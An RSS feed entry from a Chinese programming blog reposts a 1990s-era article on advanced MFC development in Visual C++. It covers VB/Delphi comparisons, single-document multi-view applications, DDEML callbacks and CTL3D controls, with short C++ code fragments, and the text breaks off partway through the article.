﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-weitom1982-随笔分类-程序语言</title><link>http://www.cnitblog.com/weitom1982/category/2169.html</link><description>向各位技术前辈学习,学习再学习.</description><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 16:23:11 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 16:23:11 GMT</pubDate><ttl>60</ttl><item><title>应用MFC开发高级应用程序</title><link>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29520.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Thu, 05 Jul 2007 08:54:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29520.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/29520.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29520.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/29520.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/29520.html</trackback:ping><description><![CDATA[<table cellSpacing=1 cellPadding=1 width=550 border=0>
    <tbody>
        <tr>
            <td width="100%" height=27>
            <h1 align=center>应用MFC开发高级应用程序</h1>
            <p align=center>苟建兵 清华大学热能系(北京，100084)</p>
            </td>
        </tr>
        <tr>
            <td width=543 height=33>
            <p align=center><img height=3 src="http://www.gjwtech.com/picindex/headline1.gif" width=480 border=0></p>
            </td>
        </tr>
        <tr>
            <td width="100%" height=42>
            <p align=left><br></p>
            <font color=#000000>目次：<a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#一、使用C/C++">一、使用C/C++及VC与VB之比较</a>&nbsp;&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#二、MFC编程综述">二、MFC编程综述</a>&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#三、使用单文档-多视结构">三、使用单文档-多视结构</a> </font>
            <p><font color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#四、使用DDE服务">四、使用DDE服务</a>&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#五、使用3D控制">五、使用3D控制</a>&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#六、使用自定义消息">六、使用自定义消息</a>&nbsp;&nbsp;</font></p>
            <p><font color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#七、使用不带文挡-视结构的MFC应用">七、使用不带文挡-视结构的MFC应用</a>&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#八、MFC应用的人工优化">八、MFC应用的人工优化</a></font></p>
            <p align=left><font color=#000000><br>[摘要]：目前在Windows下开发应用程序的工具虽然很多，但是C/C++作为一种非常成<br>熟和高效的开发语言在大型复杂项目的开发中仍然得到了广泛应用。为了减轻程序<br>开发负担，提高开发效率，各种流行的C++都提供了类库，本文就是针对如何在<br>Visual C++环境中使用MFC类库来开发高级程序所需要解决的一些问题进行了的探<br>讨，重点讨论了利用MFC开发单文档多视应用程序和DDE应用程序的方法。</font> </p>
            <p align=left><font color=#000000><br><a name=一、使用C/C++><strong>一、使用C/C++</strong></a><br>随着Windows系列操作系统的日益普遍，传统的基于DOS编程逐渐转向Windows下编程<br>已经成为必然趋势。目前在Windows下开发应用程序的工具很多，典型的如Borland<br>C++、Visual C++、Visual Baisic以及Delphi等等。每种开发工具都各有其特点，<br>一般来讲用户可以根据自己的使用习惯和开发项目的性质来选择具体的开发语言。<br><br>Visual Basic是一个被软件界称之为划时代的革新产品，该软件改变了人们开发<br>Windows程序的方式，它采用交互式的可视化操作，使得人们开发Windows程序的每<br>一过程都有直观形象的反馈，从而加速整个开发进程。Visual Basic使得Windows程<br>序设计人员不再只依赖于复杂的SDK编程，使得开发Windows程序非常容易，可以<br>说，用户学习并使用VB来开发Windows应用的时间是最短的。Visual Basic版本几经<br>演变，目前已经发展到5.0。在4.0版本中，由于完全使用了面向对象的编程概念，<br>同时具有Windows 3.1和Windows 95下的版本，因而使得其开发复杂程序的功能逐渐<br>增强。VB5.0则抛弃了Windows 3.x的用户，只能在32位Windows中使用，据悉，该版<br>本吸收了Delphi的成功策略，引入了本地代码(Native Code)编译器，从而使得程序<br>执行速度大大加快，克服了以往版本由于执行文件采用P-Code代码而导致运行速度<br>慢的特点，根据微软的声明，该版本的采用本地代码编译后得到的应用程序在某些<br>情况下执行速度较以往提高了10~20倍，执行速度可以直逼与采用Visual C++编写的<br>应用，而应用开发速度则是VB的强项，因此Visual Basic 5.0非常具有竞争性。目<br>前Visual Basic非常广泛地用于开发各种Windows程序，如数据库前端应用程序和多<br>媒体应用等。但是，在作者看来，采用VB也有一定的缺点，原因有以下几点：<br>1. Visual Basic来源于Basic语言，虽然经过微软的不断增强，但是仍然缺乏非常<br>灵活的数据类型和编程策略，因而在开发一些项目必须的复杂数据结构遇到麻烦，<br>如链表、图和二叉树等等。由于在中大型项目开发后期，开发工作不再以界面为<br>主，而是在算法设计和底层软硬件工作，这就使VB开发项目的后期工作量大幅度增<br>加，为了达到项目要求，经常需要再转向C/C++开发一些专用的动态连接库来解决问<br>题。<br>2. Visual Basic运行速度慢，前文讲过，采用P-Code代码虽然执行文件很小，但是<br>在运行时需要解释执行，并且，它的运行必须有对应的VBRUN.DLL和所使用的VBX或<br>者OCX支持。对于浮点操作密集或者循环嵌套很多的应用来说，VB没有采取特别的优<br>化，因而执行速度远不如用C/C++和Fortran开发的应用速度快。VB 5.0虽然通过引<br>入本地代码编译器大大弥补了这个缺陷，但是由于其只能运行于32位Windows环境因<br>而在16位Windows上速度问题仍然得不到解决。虽然目前转向32位Windows的趋势非<br>常强劲，但是不容忽视由于硬件的限制或者使用习惯等诸多原因，还有许多用户仍<br>然在16位Windows上工作。在计算机十分普及的美国，96年使用16位Windows的用户<br>仍然超过了使用32位Windows的用户，任何进行系统软件设计的人员都应该照顾到这<br>些仍然使用16位Windows的用户。<br>3. VB不能灵活地使用系统资源。熟悉Windows编程的人都知道，如果要直接访问硬<br>件或者要编写对系统进行有效访问的应用程序，没有Windows API函数的帮助则非常<br>困难，但是令VB程序员失望的是，API函数是用C语言和汇编语言实现的，是为C编程<br>准备的，如果要在VB里面使用这些上千个API函数则比较麻烦，特别是，如果设计人<br>员不懂C语言则尤其困难。由于API函数的复杂性，而其本身不是为了方便VB编程而<br>提供的，因此在VB里面调用API函数需要一定的技巧，这些技巧足够用一本很厚的书<br>来表述。VB程序员可以从书店里找到好多本类似的书籍。可以说，任何一个VB程序<br>员发展到一定阶段都需要与众多的API函数打交道。另外，由于VB不支持端口操作，<br>因此，如果要编写类似数据采集等需要与硬件交互的程序则需要求救于C/C++语言。<br><br>4. Visual Basic项目分发和管理困难，其原因同上讲的，VB应用的运行不能脱离VB<br>的运行库和所使用的控件，因此，如果开发人员要将VB应用分发给用户那么一定要<br>带上VB的运行库和所使用的控件，并且要保证正确安装，这就导致即使一个非常简<br>单的应用也需要附带大量其它相关支撑库程序，对于VB 4.0及更高版本，由于大量<br>的使用了OLE控件（在VB中称为OCX），其安装更为复杂。<br>Delphi软件是国际宝兰公司(Borland)的得意之作，也是备受软件界推崇，与VB一<br>样，它完全是一个交互式的可视化开发平台，支持Client/Server应用程序的开发，<br>其最新版本2.0可以开发Windows 3.x、Windows 95和Windows NT的应用程<br>序。Delphi开发速度也非常快，与VB相比，由于具有本地代码编译器因此它产生的<br>可执行文件执行速度大大加快。Delphi软件是一个非常有竞争力的软件，采用的是<br>面向对象的Object pascal语言，支持硬件操作和API调用。但是由于采用的编程语<br>言为Pascal，这种语言并不非常流行，许多程序设计人员完全不熟悉这种语言，因<br>此极大地限制了该软件的使用，如果宝兰公司能够将Delphi软件提供的RAD开发机制<br>引入到其Borland C++中，则可能会形成一个非常成功的产品（目前该版本已经推<br>出，即C++ Builder，笔者注）。<br>VB和Delphi引入的可视化开发方法还有一个共同的缺点就是各个版本之间的兼容问<br>题。一般来讲，采用这些可视化开发工具开发的应用程序在移植到高版本时不会遇<br>到太大困难，但是一旦往相反方向移植则困难重重，有时甚至不可能。C/C++语言则<br>不具有这种局限性，各个版本之间的相互移植并不困难，高版本往低版本移植一般<br>只需重建工程文件即可大功告成。<br>综上所述，根据作者的观点，如果要开发一个大型复杂的应用程序首选的还是<br>C/C++，特别是在16位Windows下。虽然这会使前期工作增加，但是在项目的中后期<br>将逐渐会领略到其优越性和开发效率，其灵活高效的执行代码适合于对速度和应用<br>程序之间的协同性要求很高的场合。纯粹基于Windows SDK来开发Windows程序是一<br>项艰巨的工程，值得庆幸的是目前各种流行的C/C++开发工具都提供了类库开发框架<br>来简化整个开发过程而又不失其固有的灵活高效性，不同的开发语言所提供的类库<br>开发框架不同，如Borland C++提供的OWL(Object Windows Library)和 Visual C++<br>提供的MFC(Microsoft Fundmental Class)，这两种类库都封装了大量的Windows<br>API和Windows的开发元素而使得开发任务简化，两种类库各有其优点，据作者掌握<br>的资料，采用MFC编写的应用程序执行代码更小，执行速度也更快，这大概是因为该<br>软件的开发者是开发Windows操作系统的Microsoft公司的缘故吧，现在MFC正逐渐成<br>为Windows下的类库开发标准，正被越来越多的其它C/C++编译工具所支持，如<br>Watcom C++。使用MC类库同时配合Visual C++提供的AppWizard、ClassWizard和<br>AppStudio可以大幅度提高开发效率。笔者在工作中积累了一些MFC的使用经验现在<br>提出来供大家参考，希望对广大同行有所帮助，尤其是那些仍然致力于16位Windows<br>编程的程序员。本文使用的Visual C++ 1.51编译器，但是其方法同样适用于其它<br>VC++版本，包括Visual C++ 4.x。<br><a name=二、MFC编程综述>二、MFC编程综述</a><br>采用MFC开发Windows程序之所以能够大幅度提高开发速度和效率主要是因为MFC在类<br>层次封装了大量Windows SDK函数和典型Windows应用的缺省处理，这样，用户只需<br>要较少的编程就可以实现自己的开发任务。如果在MFC基础上再配合Visual C++提供<br>的AppWizard、ClassWizard和AppStudio工具那么更可以大幅度加快开发进程。MFC<br>提供大量的基类供程序员使用，常见的如CWinApp类、CFrameWnd类、CMDIFrameWnd<br>类、CMDIChildWnd类、CView类、CDC类和CDocument类等等。通过从这些基类中派生<br>出用户自己的类，然后重载特殊的几个函数就可以生成一个独立的应用程序。可以<br>说，采用MFC编写Windows应用程序是非常方便的，虽然其学习过程并不简单，但是<br>其提供的灵活高效性足以使任何Windows程序开发人员为之付出努力。如果用户不曾<br>使用过MFC，那么用户可以通过附录中所列的参考书去学习MFC的强大功能。<br>采用MFC应用框架产生的应用程序使用了标准化的结构，因而使得采用MFC编写的程<br>序的在不同平台上的移植变得非常容易，事实上，MFC的16位和32位版本之间差别很<br>小。MFC提供的标准化结构是经过众多专家分析调研后总结编写出来的，一般情况下<br>可以满足绝大多数用户的要求，但有时用户也可以通过重载一些函数来修改其缺省<br>的风格从而实现自己特有的风格，如自定义应用图表和灰色背景等。在MFC提供的文<br>档视结构中，文档、视和资源之间的联系是通过定义文档模板来实现的，如：<br>m_pSimuTemplate = new CMultiDocTemplate(<br>IDR_SIMUTYPE,<br>RUNTIME_CLASS(CSimuDoc),<br>RUNTIME_CLASS(CMyChild), // Derived MDI child frame<br>RUNTIME_CLASS(CSimuView));<br>上中第一项IDR_SIMUTYPE就包括了视口的菜单，加速键和图表等资源，如果用户使<br>用AppWizard来产生的应用基本框架，那么其也同时产生了缺省的图标，如果用户不<br>满意缺省图标（实际上用户很少满足于缺省图标），只需要将缺省图标删除，然后<br>编辑或者直接引入一个新的图标，在存储这一图标时只需要使用与被删除图标同样<br>的ID即可实现替代。<br>熟悉Windows程序开发的人都知道，在Windows上通过使用灰色背景可以增强应用程<br>序的视觉效果，曾有人戏称，灰色是图形界面永恒的颜色。使用MFC产生的应用程序<br>的背景缺省为白色，如果用户希望改变成灰色或者其它颜色，那就需要使用单独处<br>理，解决的办法很多，如在每次视口的OnPaint()事件中采用灰色刷子人为填充背<br>景，但是这不是最好的办法。笔者发现最好的办法就是采用AfxRegisterWndClass()<br>函数注册一个使用灰色背景刷的新的窗口类，这需要重载PreCreateWindow()函数来<br>实现这一点，如下程序代码片段所示：<br>BOOL CSimuView::PreCreateWindow(CREATESTRUCT&amp; cs)<br>{<br>HBRUSH hbkbrush=CreateSolidBrush(RGB(192,192,192));//创建灰色背景刷<br>LPCSTR lpMyOwnClass=AfxRegisterWndClass(CS_HREDRAW<br>|CS_VREDRAW|CS_OWNDC,0,hbkbrush);//注册新类<br>cs.lpszClass=lpMyOwnClass;//修改缺省的类风格<br>return TRUE;<br>}<br>采用这种方法速度最快，也最省力。同时，还可以在PreCreateWindow()函数定义所<br>希望的任何窗口风格，如窗口大小，光标式样等。<br><strong><a name=三、使用单文档-多视结构>三、使用单文档-多视结构</a></strong><br>如果用户使用过MFC进行编程，那么就会发现借助于AppWizard基于MFC无论编写SDI<br>(单文档界面)还是编写MDI(多文档界面)都是十分方便的。MDI应用程序目前使用越<br>来越普遍，人们熟悉的Microsoft公司的Office系列产品以及Visual系列产品都是典<br>型的多文档应用程序。这种多文档界面具有多窗口的特点，因而人们可以在一个程<br>序中使用多个子窗口来实现不同数据的浏览查看。如果用户要实现在MDI各个窗口之<br>间针对同一数据进行不同的可视化就是一件比较麻烦的事情。值得庆幸的是，MFC提<br>供的文档-视结构大大简化了这一工作。文档-视结构通过将数据从用户对数据的观<br>察中分离出来，从而方便实现多视，亦即多个视口针对同一数据，如果一个视口中<br>数据发生改变，那么其它相关视口中的内容也会随之发生改变以反映数据的变化。<br>SDI和MDI这两种Windows标准应用程序框架并不是总能满足用户的需要，就作者的工<br>作而言，就特别需要一种被称为单文档多视的应用程序，英文可以缩写为SDMV。通<br>过SDMV应用我们可以利用文档类来统一管理应用程序的所有数据，同时需要采用多<br>窗口以多种方式来可视化这些的数据，如棒图，趋势图和参数列表，从而方便用户<br>从不同角度来观察数据。MDI虽然具有多窗口的特点，但是其为多文档，即通常情况<br>下，一个视口对应一个文档，视口+文档便构成一个子窗口。在各个子窗口之间数据<br>相互独立，如果要保持数据同步更新就需要采用特殊的技术了，采用这种方式既费<br>时又费力。通过笔者的实践发现，利用MFC本身提供的多视概念通过适当改造MDI窗<br>口应用程序就可以实现上述SDMV结构。<br>所谓SDMV应用程序本质上仍然是一个MDI应用程序，只是在程序中我们人为控制使其<br>只能生成一个文档类，这个文档在第一个视口创建时创建，注意，这里并不需要限<br>制各个视口的创建先后顺序。此后与MDI窗口固有特性不同的是，所有新创建的子窗<br>口都不再创建独立文档，而是把该新视口直接连接到已有的文档对象上，这样就使<br>其成为单文档多视的结构，所有相关数据都存储在文档对象中，一旦文挡中数据发<br>生改变，通过UpdateAllViews()函数通知所有相关视口，各个视口就可以在<br>OnUpdate()中相应数据的变化。这种响应机制如下图所示:<br><br>图 1 文档-视结构数据更新机制<br>由于MDI本质上并不是为这种单文档多视机制服务的，因而在实际应用时需要解决一<br>些问题。<br>1、窗口标题问题<br>窗口标题本来不应该成为问题，缺省情况下MDI窗口通过在文档模板中提供的资源ID<br>所提供的对应字符串来确定窗口标题。但是对于SDMV应用，由于各个视口实质上是<br>对应于同一个文挡，因此每个视口都具有相同标题，只不过增加了一个数据用于指<br>示这是第几个视口。如果在各个视口中指明具体的窗口名字，那么由不同的视口启<br>动创建文档产生的窗口标题就不同，这个名字会影响到后继视口。为了作到不同类<br>型的视口如棒图视口和曲线视口具有不同的标题，这就需要一定的技术处理。根据<br>笔者的摸索发现可以采用如下步骤实现：<br>首先在从标准的MDI子窗口基类CMDIChildWnd派生一个自己的子窗口类，姑且命名为<br>CMyChild，然后在其成员变量中增加一个CString型变量用以存储当前窗口标题：<br>CString winTitle;<br>然后在不同的视口创建过程中通过获取父窗口指针按自己的意愿对上述变量进行赋<br>值，程序片段如下：<br>pChild=(CMyChild*)GetParent();<br>pChild-&gt;winTitle="棒图显示窗口";<br>最后在CMyChild派生类中重载CMDIChildWnd基类中的OnUpdateFrameTitle()函数来<br>强制实现窗口标题的个性化，这一函数在各种类库手册上和联机帮助中都没有，但<br>的确有这样一个具有保护属性的函数用来实现窗口标题的更新操作，这可以从MFC类<br>库的源代码中找到该函数的实现。重载后的源代码如下：<br>void CMyChild::OnUpdateFrameTitle(BOOL bAddToTitle)<br>{<br>// update our parent window first<br>GetMDIFrame()-&gt;OnUpdateFrameTitle(bAddToTitle);<br><br>if ((GetStyle() &amp; FWS_ADDTOTITLE) == 0)<br>return; // leave child window alone!<br><br>CDocument* pDocument = GetActiveDocument();<br>if (bAddToTitle &amp;&amp; pDocument != NULL)<br>{<br>char szOld[256];<br>GetWindowText(szOld, sizeof(szOld));<br>char szText[256];<br><br>lstrcpy(szText,winTitle); //Modified by author!<br>if (m_nWindow &gt; 0)<br>wsprintf(szText + lstrlen(szText), ":%d", m_nWindow);<br><br>// set title if changed, but don't remove completely<br>if (lstrcmp(szText, szOld) != 0)<br>SetWindowText(szText);<br>}<br>}<br>2、如何创建SDMV应用<br>如何创建SDMV应用比较麻烦，下面通过举例来具体说明。该例子假设用户需要建棒<br>图类型和曲线形式的两种视口，假设用户已经利用CView基类派生并且实现了这两个<br>类，分别对应于CMyChart和CMyTraceView两个类。<br>1) 在应用类（从CWinApp派生出来的类）的头文件中加入下列变量和函数原型说<br>明：<br>CMultiDocTemplate* m_pMyTraceTemplate;<br>CMultiDocTemplate* m_pMyChartTemplate;<br>int ExitInstance();<br>2) 在应用类的InitInstance成员函数中删除对AddDocTemplate函数的调用和<br>OpenFileNew()语句，并且加入如下代码：<br>m_pMyTraceTemplate = new CMultiDocTemplate(<br>IDR_MYTRACEVIEW,<br>RUNTIME_CLASS(CSimuDoc),<br>RUNTIME_CLASS(CMyChild), // Derived MDI child frame<br>RUNTIME_CLASS(CMyTraceView));<br><br>m_pMyChartTemplate = new CMultiDocTemplate(<br>IDR_MYCHART,<br>RUNTIME_CLASS(CSimuDoc),<br>RUNTIME_CLASS(CMyChild), // Derived MDI child frame<br>RUNTIME_CLASS(CMyChart));<br>3) 实现ExitInstance()函数，在其中删除所用的两个辅助模板：<br>int CTestApp::ExitInstance()<br>{<br>if(m_pMyChartTemplate) delete m_pMyChartTemplate;<br>if(m_pMyTraceTemplate) delete m_pMyTraceTemplate;<br>return TRUE;<br>}<br>4) 在菜单资源中去掉File菜单中的New和Open项，加入New Chart View和New<br>Trace View两项，在对应的菜单命令中实现如下：<br>void CMainFrame::OnNewMychart()<br>{<br>// TODO: Add your command handler code here<br>OnNewView(((CSimuApp*)AfxGetApp())-&gt;m_pMyChartTemplate);<br>}<br>void CMainFrame::OnNewMyTrace()<br>{<br>// TODO: Add your command handler code here<br>OnNewView(((CSimuApp*)AfxGetApp())-&gt;m_pMyTraceTemplate);<br>}<br>上中OnNewView的实现如下：<br>BOOL CMainFrame::OnNewView(CMultiDocTemplate* pDocTemplate)<br>{<br>CMDIChildWnd* pActiveChild = MDIGetActive();<br>CDocument* pDocument;<br>if (pActiveChild == NULL ||<br>(pDocument = pActiveChild-&gt;GetActiveDocument()) == NULL)<br>{<br>TRACE0("Now New the specify view\n");<br>ASSERT(pDocTemplate != NULL);<br>ASSERT(pDocTemplate-&gt;IsKindOf(RUNTIME_CLASS(CDocTemplate)));<br>pDocTemplate-&gt;OpenDocumentFile(NULL);<br>return TRUE;<br>}<br><br>// otherwise we have a new frame to the same document!<br>CMultiDocTemplate* pTemplate = pDocTemplate;<br>ASSERT_VALID(pTemplate);<br>CFrameWnd* pFrame = pTemplate-&gt;CreateNewFrame(pDocument, pActiveChild);<br>if (pFrame == NULL)<br>{<br>TRACE0("Warning: failed to create new frame\n");<br>return FALSE; // command failed<br>}<br>pTemplate-&gt;InitialUpdateFrame(pFrame, pDocument);<br>return TRUE;<br>}<br>OnNewView是整个SDMV应用的核心组成，它的任务是创建一个新的指定类型的视口，<br>它首先判断是否有活动视口存在，文档是否已经创建，正常情况下活动视口存在则<br>表明文档存在，如果不存在则利用所指定的文档模板创建一个新的活动视口，否则<br>则只创建视口，同时将其连接到已存在的文档对象上。<br>通过以上步骤就可以实现SDMV应用，在其后的具体应用中利用文档对象的<br>UpdateAllViews()函数和视口的OnUpdate()函数就可以很好的工作了。<br><a name=四、使用DDE服务><strong>四、使用DDE服务</strong></a><br>Windows 3.x是一个分时多任务操作环境，在此环境下，多个应用程序可以并发地执<br>行。为了在并发执行的多个任务之间共享数据和资源，Windows 提供了几种机制，<br>主要是通过剪贴板(Clipboard)和动态数据交换(Dynamic Data Exchange)。前者对<br>于用户需要直接参与的数据交换来说，是一个非常方便的工具，但是如果希望数据<br>交换自动进行时就必须依靠DDE技术了。编写DDE应用的技术也发展了好几代，从最<br>初的基于消息的DDE到基于DDEML(动态数据交换管理库)，再到现在流行的OLE技<br>术。DDE技术的发展使得程序开发人员编写DDE应用更为简洁。从发展趋势来看，基<br>于OLE的数据交换是最好的，它特别符合当今软件领域的客户-服务器机制<br>(Client-Server)。为适应多平台和Internet的需要，在OLE基础上微软又开发了<br>ActiveX技术。但是不容忽视的是，基于传统的DDE数据交换也自有它的应用空间，<br>使用仍然广泛。目前在Windows 3.x下，基于OLE的远程数据交换还很不成熟，但是<br>在WFW(Windows for Workgroup)下基于网络动态数据交换的技术却很成熟，目前也<br>应用非常普遍。关于DDE应用的开发和NetDDE的应用可以参看附录7。<br>1、回调函数的处理<br>由于DDEML机制需要使用回调函数，因此使用DDEML的关键是解决在MFC编程体系中回<br>调函数的使用。回调函数(Callback function)大量用于Windows的系统服务，通过<br>它，程序员可以安装设备驱动程序和消息过滤系统，以控制Windows的有效使用。<br>许多程序员都发现，利用MFC或者其它的C++应用编写回调函数是非常麻烦的，其根<br>本原因是回调函数是基于C编程的Windows SDK的技术，不是针对C++的，程序员可以<br>将一个C函数直接作为回调函数，但是如果试图直接使用C++的成员函数作为回调函<br>数将发生错误，甚至编译就不能通过。通过查询资料发现，其错误是普通的C++成员<br>函数都隐含了一个传递函数作为参数，亦即&#8220;this&#8221;指针，C++通过传递一个指向自<br>身的指针给其成员函数从而实现程序函数可以访问C++的数据成员。这也可以理解为<br>什么C++类的多个实例可以共享成员函数但是确有不同的数据成员。由于this指针的<br>作用，使得将一个CALLBACK型的成员函数作为回调函数安装时就会因为隐含的this<br>指针使得函数参数个数不匹配，从而导致回调函数安装失败。要解决这一问题的关<br>键就是不让this指针起作用，通过采用以下两种典型技术可以解决在C++中使用回调<br>函数所遇到的问题。这种方法具有通用性，适合于任何C++。<br>1. 不使用成员函数，直接使用普通C函数，为了实现在C函数中可以访问类的成员变<br>量，可以使用友元操作符(friend)，在C++中将该C函数说明为类的友元即可。这种<br>处理机制与普通的C编程中使用回调函数一样。<br>2. 使用静态成员函数，静态成员函数不使用this指针作为隐含参数，这样就可以作<br>为回调函数了。静态成员函数具有两大特点：其一，可以在没有类实例的情况下使<br>用；其二，只能访问静态成员变量和静态成员函数，不能访问非静态成员变量和非<br>静态成员函数。由于在C++中使用类成员函数作为回调函数的目的就是为了访问所有<br>的成员变量和成员函数，如果作不到这一点将不具有实际意义。解决的办法也很简<br>单，就是使用一个静态类指针作为类成员，通过在类创建时初始化该静态指针，如<br>pThis=this，然后在回调函数中通过该静态指针就可以访问所有成员变量和成员函<br>数了。这种处理办法适用于只有一个类实例的情况，因为多个类实例将共享静态类<br>成员和静态成员函数，这就导致静态指针指向最后创建的类实例。为了避免这种情<br>况，可以使用回调函数的一个参数来传递this指针，从而实现数据成员共享。这种<br>方法稍稍麻烦，这里就不再赘述。<br>2、在MFC中使用DDEML<br>对于典型的MFC应用程序，主框架窗口类(CMainFrame)只有一个实例，因此可以使用<br>静态成员函数作为回调函数，从而实现DDE机制。具体的代码片段如下：<br>(1) 在CMainFrame类中声明如下静态成员：<br>static CMainFrame* pThis;<br>static DWORD idInst;<br>static HDDEDATA CALLBACK EXPORT DdeCallback(UINT,UINT,HCONV,HSZ,HSZ, HDDEDATA,DWORD,DWORD);<br>(2) 在类的创建代码(OnCreate())中作如下说明：<br>pThis=this;<br>lpDdeCallback=MakeProcInstance((FARPROC)DdeCallback,hInstance);<br>if(DdeInitialize(&amp;idInst,(PFNCALLBACK)lpDdeCallback,CBF_FAIL_EXECUTES<br>|CBF_SKIP_REGISTRATIONS|CBF_SKIP_UNREGISTRATIONS,0L))<br>{<br>AfxMessageBox("不能初始化DDE服务","错误");<br>DestroyWindow();<br>}<br>(3) 回调函数实现如下：<br>HDDEDATA FAR PASCAL _export CMainFrame::DdeCallback(UINT iType,UINT iFmt, HCONV hConv,HSZ hsz1,HSZ hsz2,HDDEDATA hData,DWORD dwData1,DWORD dwData2)<br>{<br>char szBuffer[16];<br>int i;<br><br>switch(iType)<br>{<br>case XTYP_CONNECT: //hsz1=topiv, hsz2=service<br>return (HDDEDATA)TRUE;//TRUE;<br>case XTYP_ADVSTART: //hsz1=topic, hsz2=item<br>case XTYP_REQUEST:<br>case XTYP_ADVREQ:<br>case XTYP_POKE: //hsz1=Topic, hsz2=item, hData=data<br>case XTYP_ADVSTOP:<br>return NULL;<br>}<br>}<br>3、避免变量类型冲突<br>如果在MFC应用直接使用DDEML服务，那么该MFC应用在编译时将会遇到变量类型HSZ<br>重复定义错误。经过追踪发现，错误在于在DDEML.H对HSZ作了如下定义：<br>DECLARE_HANDLE32(HSZ);<br>而在AFXEXT.H(通过stdafx.h引入)中对HSZ又作了如下说明：<br>typedef BPSTR FAR* HSZ; // Long handle to a string<br>两个定义一个为32位整数，一个为BASIC字符串指针，当然会发生编译器不能作变量<br>类型转换的错误。实际上，将HSZ声明为BASIC字符串指针主要用于在MFC应用中使用<br>VBX控制。要改正这一错误，就必须保证不要在同一个代码模块中使用DDEML和VBX支<br>持，通过将使用DDEML和VBX的代码分开，并在使用DDEML代码的模块中最开头定义如<br>下编译器宏就可以解决上述问题：<br>#define NO_VBX_SUPPORT<br><a name=五、使用3D控制><strong>五、使用3D控制</strong></a><br>毫无疑问，3D控制的使用可以显著提高Windows应用程序的界面友好性，目前，许多<br>流行的Windows应用程序都使用了3D控制，典型的如Microsoft公司的Office系列软<br>件，而且，在Windows 95和Windows NT 4.0中，3D控制更是作为操作系统的一部分<br>直接提供，这意味着在其上运行的软件不需要作任何特殊处理，就具有3D界面效<br>果，但是，很遗憾的是，在Windows 3.x中，除了命令按钮控制使用3D控制以外，其<br>余所有的控制，如编辑框，列表框，检查框等都只使用2D控制，要想使用3D控制，<br>程序设计人员就必须在自己的程序中作一定的修改，考虑到目前3D效果的流行，这<br>点努力是值得的。<br>为了支持3D效果，Microsoft公司提供了一个专门用于3D控制的动态连接库，即<br>CTL3D.DLL，但是在其Visual C++中却没有如何使用3D控制的讨论，并且，Visual<br>C++也不直接支持3D编码，因为它不包括使用3D控制所必须的头文件。但是，这并不<br>意味着在Visual C++中不能使用3D控制，只不过用户需要从其它地方获取技术支持<br>罢了。由于使用的是动态连接库机制，因此，任何其它语言提供的3D头文件和<br>CTL3D.DLL的输入库都是可用的。作者使用的就是Borland公司的Borland C++中提供<br>的CTL3D.H和CTL3D.LIB。在C/C++中使用3D控制的方法也有很多种，在这里，为节约<br>篇幅，只讨论与本文相关的主题，即使用MFC编程时如何使用3D控制。<br>在MFC的所有对话框中使用3D控制可以遵循如下步骤：<br>1. 在CWinApp::InitInstance函数中调用Ctl3dRegister和Ctl3dAutosubclass函<br>数：<br>Ctl3dRegister(AfxGetInstanceHandle());<br>Ctl3dAutoSubclass(AfxGetInstanceHandle());<br>值得一提的是，在AppWizard产生的应用框架的CWinApp::InitInstance中有一个函<br>数调用为SetDialogBkColor，此函数的作用是将所有对话框的背景颜色设置为灰<br>色，这个功能与3D界面实现相同的功能，可以移去此语句。<br>由于CTL3D在初始化时读入所有的系统颜色并自己维持，为了使应用程序能够正确反<br>映系统颜色的变化，MFC应用程序可以在WM_SYSCOLORCHANGE消息中调用<br>Ctl3dColorChange函数。<br>2. 在MFC应用程序的CWinApp类中的ExitInstance函数中调用Ctl3dUnregister函<br>数，以方便Windows对CTL3D库的正确管理。<br>3. 在MFC应用程序的项目文件中加入CTL3D.LIB（可以用IMPORT.EXE产生）。<br>使用上述CTL3D的自动子类化的机制可以大大简化使用3D控制，如果这不满足你的要<br>求，那么你就必须单独在需要使用3D控制的对话框的OnInitDialog()中自行子类化<br>相关的控制类了，典型的如下代码片断所示：<br>BOOL CMyDialog::OnInitDialog()<br>{<br>Ctl3dSubclassDlgEx(m_hWnd,CTL3D_ALL);<br>return TRUE;<br>}<br>上面讲了在对话框中使用3D效果的办法，如果用户想在非对话框中使用3D控制，典<br>型的在FormView导出类中使用，可以在导出类的OnInitialUpdate函数中进行适当修<br>改，修改的大小取决于你是否使用了3D控制的自动子类化机制。如果使用前面提到<br>的自动子类化方法，那么仅需要在相应的OnInitialUpdate函数中调用<br>Ctl3dSubclassDlg函数了，如下代码片断所示：<br>void CMyView::OnInitialUpdate()<br>{<br>Ctl3dSubclassDlg(m_hWnd,CTL3D_ALL);<br>}<br>否则，则需要修改如下：<br>void CMyView::OnInitialUpdate()<br>{<br>Ctl3dSubclassDlgEx(m_hWnd,CTL3D_ALL);<br>}<br><a 